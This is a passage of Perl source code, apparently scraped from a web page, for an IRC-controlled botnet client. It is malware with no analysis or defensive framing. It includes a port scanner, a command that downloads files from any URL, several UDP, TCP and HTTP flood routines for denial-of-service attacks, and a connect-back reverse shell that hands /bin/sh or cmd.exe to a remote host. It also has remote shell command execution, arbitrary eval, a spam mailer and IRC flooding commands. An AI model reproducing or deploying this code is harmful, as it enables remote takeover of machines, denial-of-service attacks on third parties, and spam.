&nbsp; my @portas=(&quot;1&quot;,&quot;7&quot;,&quot;9&quot;,&quot;14&quot;,&quot;20&quot;,&quot;21&quot;,&quot;22&quot;,&quot;23&quot;,&quot;25&quot;,&quot;53&quot;,&quot;80&quot;,&quot;88&quot;,&quot;110&quot;,&quot;112&quot;,&quot;113&quot;,&quot;137&quot;,&quot;143&quot;,&quot;145&quot;,&quot;222&quot;,&quot;333&quot;,&quot;405&quot;,&quot;443&quot;,&quot;444&quot;,&quot;445&quot;,&quot;512&quot;,&quot;587&quot;,&quot;616&quot;,&quot;666&quot;,&quot;993&quot;,&quot;995&quot;,&quot;1024&quot;,&quot;1025&quot;,&quot;1080&quot;,&quot;1144&quot;,&quot;1156&quot;,&quot;1222&quot;,&quot;1230&quot;,&quot;1337&quot;,&quot;1348&quot;,&quot;1628&quot;,&quot;1641&quot;,&quot;1720&quot;,&quot;1723&quot;,&quot;1763&quot;,&quot;1983&quot;,&quot;1984&quot;,&quot;1985&quot;,&quot;1987&quot;,&quot;1988&quot;,&quot;1990&quot;,&quot;1994&quot;,&quot;2005&quot;,&quot;2020&quot;,&quot;2121&quot;,&quot;2200&quot;,&quot;2222&quot;,&quot;2223&quot;,&quot;2345&quot;,&quot;2360&quot;,&quot;2500&quot;,&quot;2727&quot;,&quot;3130&quot;,&quot;3128&quot;,&quot;3137&quot;,&quot;3129&quot;,&quot;3303&quot;,&quot;3306&quot;,&quot;3333&quot;,&quot;3389&quot;,&quot;4000&quot;,&quot;4001&quot;,&quot;4471&quot;,&quot;4877&quot;,&quot;5252&quot;,&quot;5522&quot;,&quot;5553&quot;,&quot;5554&quot;,&quot;5642&quot;,&quot;5777&quot;,&quot;5800&quot;,&quot;5801&quot;,&quot;5900&quot;,&quot;5901&quot;,&quot;6062&quot;,&quot;6550&quot;,&quot;6522&quot;,&quot;6600&quot;,&quot;6622&quot;,&quot;6662&quot;,&quot;6665&quot;,&quot;6666&quot;,&quot;6667&quot;,&quot;6969&quot;,&quot;7000&quot;,&quot;7979&quot;,&quot;8008&quot;,&quot;8080&quot;,&quot;8081&quot;,&quot;8082&quot;,&quot;8181&quot;,&quot;8246&quot;,&quot;8443&quot;,&quot;8520&quot;,&quot;8787&quot;,&quot;8855&quot;,&quot;8880&quot;,&quot;8989&quot;,&quot;9855&quot;,&quot;9865&quot;,&quot;9997&quot;,&quot;9999&quot;,&quot;10000&quot;,&quot;10001&quot;,&quot;10010&quot;,&quot;10222&quot;,&quot;11170&quot;,&quot;11306&quot;,&quot;11444&quot;,&quot;12241&quot;,&quot;12312&quot;,&quot;14534&quot;,&quot;14568&quot;,&quot;15951&quot;,&quot;17272&quot;,&quot;19635&quot;,&quot;19906&quot;,&quot;19900&quot;,&quot;20000&quot;,&quot;21412&quot;,&quot;21443&quot;,&quot;21205&quot;,&quot;22022&quot;,&quot;30999&quot;,&quot;31336&quot;,&quot;31337&quot;,&quot;32768&quot;,&quot;33180&quot;,&quot;35651&quot;,&quot;36666&quot;,&quot;37998&quot;,&quot;41114&quot;,&quot;41215&quot;,&quot;44544&quot;,&quot;45055&quot;,&quot;45555&quot;,&quot;45678&quot;,&quot;51114&quot;,&quot;51247&quot;,&quot;51234&quot;,&quot;55066&quot;,&quot;55555&quot;,&quot;65114&quot;,&quot;65156&quot;,&quot;65120&quot;,&quot;65410&quot;,&quot;65500&quot;,&quot;65501&quot;,&quot;65523&quot;,&quot;65533&quot;);<br />
&nbsp; my (@aberta, %porta_banner);<br />
&nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Port Scan] 9,1Scanning for open ports on 12&quot;.$1.&quot; 9,1started. &quot;);<br />
&nbsp; foreach my $porta (@portas) &nbsp;{<br />
&nbsp; &nbsp; my $scansock = IO::Socket::INET-&gt;new(PeerAddr =&gt; $hostip, PeerPort =&gt; $porta, Proto =&gt; 'tcp', Timeout =&gt; 4);<br />
&nbsp; &nbsp; if ($scansock) {<br />
&nbsp; &nbsp; &nbsp; push (@aberta, $porta);<br />
&nbsp; &nbsp; &nbsp; $scansock-&gt;close;<br />
&nbsp; &nbsp; }<br />
&nbsp; }<br />
&nbsp; if (@aberta) {<br />
&nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Port Scan] 9,1Open ports found: 12@aberta &quot;);<br />
&nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Port Scan] 9,1No open ports found. &quot;);<br />
&nbsp; }<br />
}<br />
##############<br />
if ($funcarg =~ /^download\s+(.*)\s+(.*)/) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; getstore(&quot;$1&quot;, &quot;$2&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Download] 9,1Downloaded the file: 12$2 9,1from 12$1 &quot;);<br />
}<br />
##############<br />
if ($funcarg =~ /^dns\s+(.*)/){ <br />
&nbsp; &nbsp; &nbsp; &nbsp; my $nsku = $1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mydns = inet_ntoa(inet_aton($nsku));<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [DNS] 9,1Resolved: 12$nsku 9,1to 12$mydns &quot;);<br />
}<br />
##############<br />
if ($funcarg=~ /^port\s+(.*?)\s+(.*)/ ) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $hostip= &quot;$1&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $portsc= &quot;$2&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $scansock = IO::Socket::INET-&gt;new(PeerAddr =&gt; $hostip, PeerPort =&gt; $portsc, Proto =&gt;'tcp', Timeout =&gt; 7);<br />
&nbsp; &nbsp; &nbsp; &nbsp; if ($scansock) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 12Accepted. &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 4Refused. &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
}<br />
##############<br />
if ($funcarg =~ /^udp1\s+(.*)\s+(\d+)\s+(\d+)/) {<br />
&nbsp; &nbsp; return unless $pacotes;<br />
&nbsp; &nbsp; socket(Tr0x, PF_INET, SOCK_DGRAM, 17);<br />
&nbsp; &nbsp; my $alvo=inet_aton(&quot;$1&quot;);<br />
&nbsp; &nbsp; my $porta = &quot;$2&quot;;<br />
&nbsp; &nbsp; my $dtime = &quot;$3&quot;;<br />
&nbsp; &nbsp; my $pacote;<br />
&nbsp; &nbsp; my $pacotese;<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $size = 0;<br />
&nbsp; &nbsp; my $fim = time + $dtime;<br />
&nbsp; &nbsp; my $pacota = 1;<br />
&nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [UDP-1 FlooD] 9,1Attacking 12&quot;.$1.&quot; 9,1On Port 12&quot;.$porta.&quot; 9,1for 12&quot;.$dtime.&quot; 9,1seconds. &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; while (($pacota == &quot;1&quot;) &amp;&amp; ($pacotes == &quot;1&quot;)) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $pacota = 0 if ((time &gt;= $fim) &amp;&amp; ($dtime != &quot;0&quot;));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $pacote = $size ? $size : int(rand(1024-64)+64) ;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $porta = int(rand 65000) +1 if ($porta == &quot;0&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; #send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; send(Tr0x, pack(&quot;a$pacote&quot;,&quot;Tr0x&quot;), 0, pack_sockaddr_in($porta, $alvo));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [UDP-1 FlooD] 9,1Attack for 12&quot;.$1.&quot; 9,1finished in 12&quot;.$dtime.&quot; 9,1seconds9,1. &quot;);<br />
}<br />
##############<br />
if ($funcarg =~ /^udp2\s+(.*)\s+(\d+)\s+(\d+)/) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [UDP-2 FlooD] 9,1Attacking 12&quot;.$1.&quot; 9,1with 12&quot;.$2.&quot; 9,1Kb Packets for 12&quot;.$3.&quot; 9,1seconds. &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; my ($dtime, %pacotes) = udpflooder(&quot;$1&quot;, &quot;$2&quot;, &quot;$3&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; $dtime = 1 if $dtime == 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; my %bytes;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $bytes{igmp} = $2 * $pacotes{igmp};<br />
&nbsp; &nbsp; &nbsp; &nbsp; $bytes{icmp} = $2 * $pacotes{icmp};<br />
&nbsp; &nbsp; &nbsp; &nbsp; $bytes{o} = $2 * $pacotes{o};<br />
&nbsp; &nbsp; &nbsp; &nbsp; $bytes{udp} = $2 * $pacotes{udp};<br />
&nbsp; &nbsp; &nbsp; &nbsp; $bytes{tcp} = $2 * $pacotes{tcp};<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [UDP-2 FlooD] 9,1Results 12&quot;.int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024).&quot; 9,1Kb in 12&quot;.$dtime.&quot; 9,1seconds to 12&quot;.$1.&quot;9,1. &quot;);<br />
}<br />
##############<br />
if ($funcarg =~ /^udp3\s+(.*)\s+(\d+)\s+(\d+)/) {<br />
&nbsp; &nbsp; return unless $pacotes;<br />
&nbsp; &nbsp; socket(Tr0x, PF_INET, SOCK_DGRAM, 17);<br />
&nbsp; &nbsp; my $alvo=inet_aton(&quot;$1&quot;);<br />
&nbsp; &nbsp; my $porta = &quot;$2&quot;;<br />
&nbsp; &nbsp; my $dtime = &quot;$3&quot;;<br />
&nbsp; &nbsp; my $pacote;<br />
&nbsp; &nbsp; my $pacotese;<br />
&nbsp; &nbsp; my $fim = time + $dtime;<br />
&nbsp; &nbsp; my $pacota = 1;<br />
&nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [UDP-3 FlooD] 9,1Attacking 12&quot;.$1.&quot; 9,1On Port 12&quot;.$porta.&quot; 9,1for 12&quot;.$dtime.&quot; 9,1seconds. &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; while (($pacota == &quot;1&quot;) &amp;&amp; ($pacotes == &quot;1&quot;)) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $pacota = 0 if ((time &gt;= $fim) &amp;&amp; ($dtime != &quot;0&quot;));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $pacote= $rand x $rand x $rand;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $porta = int(rand 65000) +1 if ($porta == &quot;0&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == &quot;1&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [UDP-3 FlooD] 9,1Results 12&quot;.$pacotese.&quot; 9,1Kb in 12&quot;.$dtime.&quot; 9,1seconds to 12&quot;.$1.&quot;9,1. &quot;);<br />
}<br />
##############<br />
&nbsp;<br />
##############<br />
if ($funcarg =~ /^tcp\s+(.*)\s+(\d+)\s+(\d+)/) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [TCP FlooD] 9,1Attacking 12&quot;.$1.&quot;:&quot;.$2.&quot; 9,1for 12&quot;.$3.&quot; 9,1seconds. &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $itime = time;<br />
&nbsp; &nbsp; &nbsp; &nbsp; my ($cur_time);<br />
&nbsp; &nbsp; &nbsp; &nbsp; $cur_time = time - $itime;<br />
&nbsp; &nbsp; &nbsp; &nbsp; while ($3&gt;$cur_time){<br />
&nbsp; &nbsp; &nbsp; &nbsp; $cur_time = time - $itime;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &amp;tcpflooder(&quot;$1&quot;,&quot;$2&quot;,&quot;$3&quot;);<br />
}<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket,&quot;PRIVMSG $printl :4,1 [TCP FlooD] 9,1Attack ended on: 12&quot;.$1.&quot;:&quot;.$2.&quot;9,1. &quot;);<br />
}<br />
##############<br />
if ($funcarg =~ /^http\s+(.*)\s+(\d+)/) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1[HTTP FlooD] 9,1Attacking 12&quot;.$1.&quot; 9,1on port 80 for 12&quot;.$2.&quot; 9,1seconds. &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $itime = time;<br />
&nbsp; &nbsp; &nbsp; &nbsp; my ($cur_time);<br />
&nbsp; &nbsp; &nbsp; &nbsp; $cur_time = time - $itime;<br />
&nbsp; &nbsp; &nbsp; &nbsp; while ($2&gt;$cur_time){<br />
&nbsp; &nbsp; &nbsp; &nbsp; $cur_time = time - $itime;<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $socket = IO::Socket::INET-&gt;new(proto=&gt;'tcp', PeerAddr=&gt;$1, PeerPort=&gt;80);<br />
&nbsp; &nbsp; &nbsp; &nbsp; print $socket &quot;GET / HTTP/1.1\r\nAccept: */*\r\nHost: &quot;.$1.&quot;\r\nConnection: Keep-Alive\r\n\r\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; close($socket);<br />
}<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [HTTP FlooD] 9,1Attacking ended on: 12&quot;.$1.&quot;9,1. &quot;);<br />
}<br />
##############<br />
if ($funcarg =~ /^cback\s+(.*)\s+(\d+)/) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $host = &quot;$1&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $port = &quot;$2&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $proto = getprotobyname('tcp');<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $iaddr = inet_aton($host);<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $paddr = sockaddr_in($port, $iaddr);<br />
&nbsp; &nbsp; &nbsp; &nbsp; my $shell = &quot;/bin/sh -i&quot;;<br />
if ($^O eq &quot;MSWin32&quot;) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; $shell = &quot;cmd.exe&quot;;<br />
}<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Connect Back] 9,1Connecting to 12$host:$port &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die &quot;socket: $!&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; connect(SOCKET, $paddr) or die &quot;connect: $!&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; open(STDIN, &quot;&gt;&amp;SOCKET&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; open(STDOUT, &quot;&gt;&amp;SOCKET&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; open(STDERR, &quot;&gt;&amp;SOCKET&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; system(&quot;$shell&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; close(STDIN);<br />
&nbsp; &nbsp; &nbsp; &nbsp; close(STDOUT);<br />
&nbsp; &nbsp; &nbsp; &nbsp; close(STDERR);<br />
}<br />
##############<br />
if ($funcarg =~ /^mail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Mailer] 9,1Sending email to: 12$3 &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; $subject = $1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sender = $2;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $recipient = $3;<br />
&nbsp; &nbsp; &nbsp; &nbsp; @corpo = $4;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mailtype = &quot;content-type: text/html&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $sendmail = '/usr/sbin/sendmail';<br />
&nbsp; &nbsp; &nbsp; &nbsp; open (SENDMAIL, &quot;| $sendmail -t&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; print SENDMAIL &quot;$mailtype\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; print SENDMAIL &quot;Subject: $subject\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; print SENDMAIL &quot;From: $sender\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; print SENDMAIL &quot;To: $recipient\n\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; print SENDMAIL &quot;@corpo\n\n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; close (SENDMAIL);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Mailer] 9,1Email Sended to: 12$recipient &quot;);<br />
}<br />
exit;<br />
}<br />
}<br />
##############<br />
if ($funcarg =~ /^ctcpflood (.*)/) {<br />
&nbsp; &nbsp; my $target = &quot;$1&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [IRCFlood] 9,1CTCP Flooding: 12&quot;.$target.&quot; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; for (1..10) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG &quot;.$target.&quot; :\001VERSION\001\n&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG &quot;.$target.&quot; :\001PING\001\n&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
}<br />
##############<br />
if ($funcarg =~ /^msgflood (.*)/) {<br />
&nbsp; &nbsp; my $target = &quot;$1&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [IRC Flood] 9,1MSG Flooding: 12&quot;.$target.&quot; &quot;);<br />
&nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG &quot;.$target.&quot; :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...&quot;);<br />
}<br />
##############<br />
if ($funcarg =~ /^noticeflood (.*)/) {<br />
&nbsp; &nbsp; my $target = &quot;$1&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [IRC Flood] 9,1NOTICE Flooding: 12&quot;.$target.&quot; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; for (1..2){<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;NOTICE &quot;.$target.&quot; :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
}<br />
##############<br />
&nbsp;<br />
##############<br />
sub ircase {<br />
my ($kem, $printl, $case) = @_;<br />
&nbsp; &nbsp;if ($case =~ /^join (.*)/) {<br />
&nbsp; &nbsp; &nbsp;j(&quot;$1&quot;);<br />
&nbsp; &nbsp;}<br />
&nbsp; &nbsp;elsif ($case =~ /^part (.*)/) {<br />
&nbsp; &nbsp; &nbsp; p(&quot;$1&quot;);<br />
&nbsp; &nbsp;}<br />
&nbsp; &nbsp;elsif ($case =~ /^rejoin\s+(.*)/) {<br />
&nbsp; &nbsp; &nbsp; my $chan = $1;<br />
&nbsp; &nbsp; &nbsp; if ($chan =~ /^(\d+) (.*)/) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; for (my $ca = 1; $ca &lt;= $1; $ca++ ) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p(&quot;$2&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j(&quot;$2&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p(&quot;$chan&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; j(&quot;$chan&quot;);<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp;}<br />
&nbsp; &nbsp;elsif ($case =~ /^op/) {<br />
&nbsp; &nbsp; &nbsp; op(&quot;$printl&quot;, &quot;$kem&quot;) if $case eq &quot;op&quot;;<br />
&nbsp; &nbsp; &nbsp; my $oarg = substr($case, 3);<br />
&nbsp; &nbsp; &nbsp; op(&quot;$1&quot;, &quot;$2&quot;) if ($oarg =~ /(\S+)\s+(\S+)/);<br />
&nbsp; &nbsp;}<br />
&nbsp; &nbsp;elsif ($case =~ /^deop/) {<br />
&nbsp; &nbsp; &nbsp; deop(&quot;$printl&quot;, &quot;$kem&quot;) if $case eq &quot;deop&quot;;<br />
&nbsp; &nbsp; &nbsp; my $oarg = substr($case, 5);<br />
&nbsp; &nbsp; &nbsp; deop(&quot;$1&quot;, &quot;$2&quot;) if ($oarg =~ /(\S+)\s+(\S+)/);<br />
&nbsp; &nbsp;}<br />
&nbsp; &nbsp;elsif ($case =~ /^voice/) {<br />
&nbsp; &nbsp; &nbsp; voice(&quot;$printl&quot;, &quot;$kem&quot;) if $case eq &quot;voice&quot;;<br />
&nbsp; &nbsp; &nbsp; $oarg = substr($case, 6);<br />
&nbsp; &nbsp; &nbsp; voice(&quot;$1&quot;, &quot;$2&quot;) if ($oarg =~ /(\S+)\s+(\S+)/);<br />
&nbsp; &nbsp;}<br />
&nbsp; &nbsp;elsif ($case =~ /^devoice/) {<br />
&nbsp; &nbsp; &nbsp; devoice(&quot;$printl&quot;, &quot;$kem&quot;) if $case eq &quot;devoice&quot;;<br />
&nbsp; &nbsp; &nbsp; $oarg = substr($case, 8);<br />
&nbsp; &nbsp; &nbsp; devoice(&quot;$1&quot;, &quot;$2&quot;) if ($oarg =~ /(\S+)\s+(\S+)/);<br />
&nbsp; &nbsp;}<br />
&nbsp; &nbsp;elsif ($case =~ /^msg\s+(\S+) (.*)/) {<br />
&nbsp; &nbsp; &nbsp; msg(&quot;$1&quot;, &quot;$2&quot;);<br />
&nbsp; &nbsp;}<br />
&nbsp; &nbsp;elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {<br />
&nbsp; &nbsp; &nbsp; for (my $cf = 1; $cf &lt;= $1; $cf++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; msg(&quot;$2&quot;, &quot;$3&quot;);<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp;}<br />
&nbsp; &nbsp;elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {<br />
&nbsp; &nbsp; &nbsp; ctcp(&quot;$1&quot;, &quot;$2&quot;);<br />
&nbsp; &nbsp;}<br />
&nbsp; &nbsp;elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {<br />
&nbsp; &nbsp; &nbsp; for (my $cf = 1; $cf &lt;= $1; $cf++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; ctcp(&quot;$2&quot;, &quot;$3&quot;);<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp;}<br />
&nbsp; &nbsp;elsif ($case =~ /^invite\s+(\S+) (.*)/) {<br />
&nbsp; &nbsp; &nbsp; invite(&quot;$1&quot;, &quot;$2&quot;);<br />
&nbsp; &nbsp;}<br />
&nbsp; &nbsp;elsif ($case =~ /^newerver\s+(\S+)\s+(\S+)/) {<br />
&nbsp; &nbsp; &nbsp; &nbsp;conectar(&quot;$2&quot;, &quot;$1&quot;, &quot;6667&quot;);<br />
&nbsp; &nbsp;}<br />
&nbsp; &nbsp;elsif ($case =~ /^nick (.*)/) {<br />
&nbsp; &nbsp; &nbsp; nick(&quot;$1&quot;);<br />
&nbsp; &nbsp;}<br />
&nbsp; &nbsp;elsif ($case =~ /^raw (.*)/) {<br />
&nbsp; &nbsp; &nbsp; sendraw(&quot;$1&quot;);<br />
&nbsp; &nbsp;}<br />
&nbsp; &nbsp;elsif ($case =~ /^eval (.*)/) {<br />
&nbsp; &nbsp; &nbsp; eval &quot;$1&quot;;<br />
&nbsp; &nbsp;}<br />
&nbsp; &nbsp;elsif ($case =~ /^join\s+(\S+)\s+(\d+)/) {<br />
&nbsp; &nbsp; sleep int(rand($2));<br />
&nbsp; &nbsp; j(&quot;$1&quot;);<br />
&nbsp; &nbsp;}<br />
&nbsp; &nbsp;elsif ($case =~ /^part\s+(\S+)\s+(\d+)/) {<br />
&nbsp; &nbsp; sleep int(rand($2));<br />
&nbsp; &nbsp; p(&quot;$1&quot;);<br />
&nbsp; &nbsp;}<br />
&nbsp; &nbsp;elsif ($case =~ /^quit/) {<br />
&nbsp; &nbsp; &nbsp;quit();<br />
&nbsp; &nbsp;}<br />
}<br />
##############<br />
sub shell {<br />
my $printl=$_[0];<br />
my $comando=$_[1];<br />
if ($comando =~ /cd (.*)/) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; chdir(&quot;$1&quot;) || msg(&quot;$printl&quot;, &quot;No such file or directory&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; return;<br />
} elsif ($pid = fork) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; waitpid($pid, 0);<br />
} else {<br />
if (fork) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; exit;<br />
} else {<br />
my @resp=`$comando 2&gt;&amp;1 3&gt;&amp;1`;<br />
my $c=0;<br />
foreach my $linha (@resp) {<br />
&nbsp; $c++;<br />
&nbsp; chop $linha;<br />
&nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :$linha&quot;);<br />
&nbsp; if ($c == &quot;$linas_max&quot;) {<br />
&nbsp; &nbsp; $c=0;<br />
&nbsp; &nbsp; sleep $sleep;<br />
&nbsp; }<br />
}<br />
exit;<br />
}<br />
}<br />
}<br />
##############<br />
sub udpflooder {<br />
my $iaddr = inet_aton($_[0]);<br />
my $msg = 'A' x $_[1];<br />
my $ftime = $_[2];<br />
my $cp = 0;<br />
my (%pacotes);<br />
&nbsp; &nbsp; &nbsp; &nbsp; $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; return(undef) if $cp == 4;<br />
my $itime = time;<br />
my ($cur_time);<br />
&nbsp; &nbsp; &nbsp; &nbsp; while ( 1 ) {<br />
for (my $port = 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $port &lt;= 65000; $port++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; $cur_time = time - $itime;<br />
last if $cur_time &gt;= $ftime;<br />
&nbsp; &nbsp; &nbsp; &nbsp; send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++;<br />
